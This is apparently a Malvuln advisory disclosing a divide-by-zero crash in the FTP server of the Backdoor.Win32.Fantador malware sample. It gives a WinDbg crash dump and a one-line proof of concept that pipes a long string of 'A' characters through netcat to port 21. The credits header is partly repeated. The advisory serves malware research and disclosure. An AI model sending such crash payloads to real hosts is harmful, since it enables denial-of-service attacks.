Vulnerabilities

Backdoor.Win32.Fantador Denial Of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a1d045151c809535a308311931588fd0.txt
Contact: malvuln13@gmail.com
Media: twitter.co Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a1d045151c809535a308311931588fd0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Fantador
Vulnerability: Divide by Zero DoS
Description: The malware allows you to configure an port for the FTP server, so you would need to know the port up front. Third-party attackers can send a junk payload triggering a Divide by Zero DoS condition and crash the server.
Type: PE32
MD5: a1d045151c809535a308311931588fd0
Vuln ID: MVID-2021-0438
Disclosure: 12/31/2021

Memory Dump:
(e80.6d0): Integer divide-by-zero - code c0000094 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0019f1e0 ebp=0019f370 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:000> .ecxr
eax=000001f4 ebx=00000000 ecx=00000000 edx=00000000 esi=041c18c8 edi=00000000
eip=0040ece7 esp=0019fb64 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7:
0040ece7 f7f1 div eax,ecx
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7
0040ece7 f7f1 div eax,ecx

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040ece7 (Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0x0000ece7)
ExceptionCode: c0000094 (Integer divide-by-zero)
ExceptionFlags: 00000000
NumberParameters: 0

PROCESS_NAME: Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe

ERROR_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION} Integer division by zero.

EXCEPTION_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION} Integer division by zero.

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000006d0

DEFAULT_BUCKET_ID: STATUS_INTEGER_DIVIDE_BY_ZERO

PRIMARY_PROBLEM_CLASS: STATUS_INTEGER_DIVIDE_BY_ZERO

BUGCHECK_STR: APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO

LAST_CONTROL_TRANSFER: from 00000000 to 0040ece7

STACK_TEXT:
00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7


FOLLOWUP_IP:
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7
0040ece7 f7f1 div eax,ecx

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0

IMAGE_NAME: Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 3fe17f27

STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID: STATUS_INTEGER_DIVIDE_BY_ZERO_c0000094_Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO_Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7


Exploit/PoC:
python -c "print('A'*2839)" | nc64.exe x.x.x.x 21

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